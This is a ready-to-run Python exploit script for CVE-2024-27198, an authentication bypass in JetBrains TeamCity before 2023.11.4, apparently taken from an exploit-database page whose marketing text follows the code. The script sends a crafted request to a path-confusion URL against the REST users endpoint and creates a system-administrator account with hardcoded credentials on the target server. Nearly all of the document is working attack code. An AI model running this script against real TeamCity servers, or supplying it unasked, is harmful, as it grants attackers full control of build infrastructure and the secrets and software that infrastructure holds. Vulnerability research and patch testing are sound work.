#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
# Date: 2024-02-21
# Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: < 2023.11.4
# CVE: CVE-2024-27198
# CVSS Score: 9.8 (Critical)
# Description:
# JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass
# vulnerability that allows unauthenticated attackers to perform administrative actions.
# The vulnerability leverages a path traversal-like technique in the JSP handling
# mechanism combined with REST API endpoints to bypass authentication.
# Requirements: requests>=2.25.1
"""
import requests
import argparse
import sys
import json
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
BOLD = '\033[1m'
END = '\033[0m'
banner = f"""{Colors.CYAN}
โโโโโโโโโโโโโโโโโ โโโโโโ โโโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโ
โโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโโ
โโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโ
โโโ โโโโโโโโโโโ โโโโโโ โโโ โโโโโโโโโโโโโโ โโโ โโโ
โโโ โโโโโโโโโโโ โโโโโโ โโโ โโโโโโโโโโ โโโ โโโ
{Colors.END}
{Colors.BOLD}{Colors.RED} TeamCity Authentication Bypass (CVE-2024-27198){Colors.END}
{Colors.YELLOW} Author: ibrahimsql{Colors.END}
"""
parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)")
parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)")
parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
args = parser.parse_args()
class TeamCityExploit:
def __init__(self, target_url, timeout=15, verbose=False):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
def _log(self, message, level="info"):
if level == "success":
print(f"{Colors.GREEN}[+] {message}{Colors.END}")
elif level == "error":
print(f"{Colors.RED}[-] {message}{Colors.END}")
elif level == "warning":
print(f"{Colors.YELLOW}[!] {message}{Colors.END}")
elif level == "info":
print(f"{Colors.BLUE}[*] {message}{Colors.END}")
elif level == "verbose" and self.verbose:
print(f"[DEBUG] {message}")
def check_target_reachability(self):
try:
self._log(f"Checking target: {self.target_url}")
response = self.session.get(self.target_url, verify=False, timeout=self.timeout)
if response.status_code in [200, 302, 401, 403]:
self._log("Target is reachable", "success")
return True
else:
self._log(f"Unexpected status: {response.status_code}", "error")
return False
except requests.exceptions.Timeout:
self._log("Connection timeout", "error")
return False
except requests.exceptions.ConnectionError:
self._log("Connection error", "error")
return False
except Exception as e:
self._log(f"Error: {str(e)}", "error")
return False
def exploit_authentication_bypass(self):
exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
full_url = f"{self.target_url}{exploit_path}"
self._log(f"Targeting: {full_url}")
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*"
}
payload = {
"username": "ibrahimsql",
"password": "ibrahimsql",
"email": "[email protected]",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
self._log(f"Payload: {json.dumps(payload)}", "verbose")
try:
self._log("Attempting authentication bypass...")
response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
self._log(f"Status: {response.status_code}", "verbose")
self._log(f"Response: {response.text[:200]}", "verbose")
if response.status_code == 200:
self._log("Exploit successful!", "success")
print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}")
print(f"{Colors.CYAN}{'='*50}{Colors.END}")
print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html")
print(f"{Colors.CYAN}{'='*50}{Colors.END}")
return True
elif response.status_code == 401:
self._log("Authentication required - target may be patched", "error")
return False
elif response.status_code == 404:
self._log("Endpoint not found - target may be patched", "error")
return False
elif response.status_code == 403:
self._log("Access forbidden", "error")
return False
else:
self._log(f"Unexpected status: {response.status_code}", "error")
return False
except requests.exceptions.Timeout:
self._log("Request timeout", "error")
return False
except requests.exceptions.ConnectionError:
self._log("Connection error", "error")
return False
except Exception as e:
self._log(f"Error: {str(e)}", "error")
return False
def validate_url(url):
try:
parsed = urlparse(url)
if not parsed.scheme:
url = f"http://{url}"
parsed = urlparse(url)
if parsed.scheme not in ['http', 'https']:
raise ValueError("URL must use HTTP or HTTPS")
if not parsed.netloc:
raise ValueError("Invalid URL format")
return url
except Exception as e:
raise ValueError(f"Invalid URL: {str(e)}")
def main():
print(banner)
try:
target_url = validate_url(args.url)
print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}")
print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}")
print(f"{Colors.CYAN}{'='*45}{Colors.END}\n")
exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose)
if not exploit.check_target_reachability():
exploit._log("Cannot reach target", "error")
sys.exit(1)
success = exploit.exploit_authentication_bypass()
if success:
exploit._log("Exploit completed!", "success")
sys.exit(0)
else:
exploit._log("Exploit failed", "error")
sys.exit(1)
except ValueError as e:
print(f"{Colors.RED}[-] {str(e)}{Colors.END}")
sys.exit(1)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
sys.exit(1)
if __name__ == "__main__":
main()Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation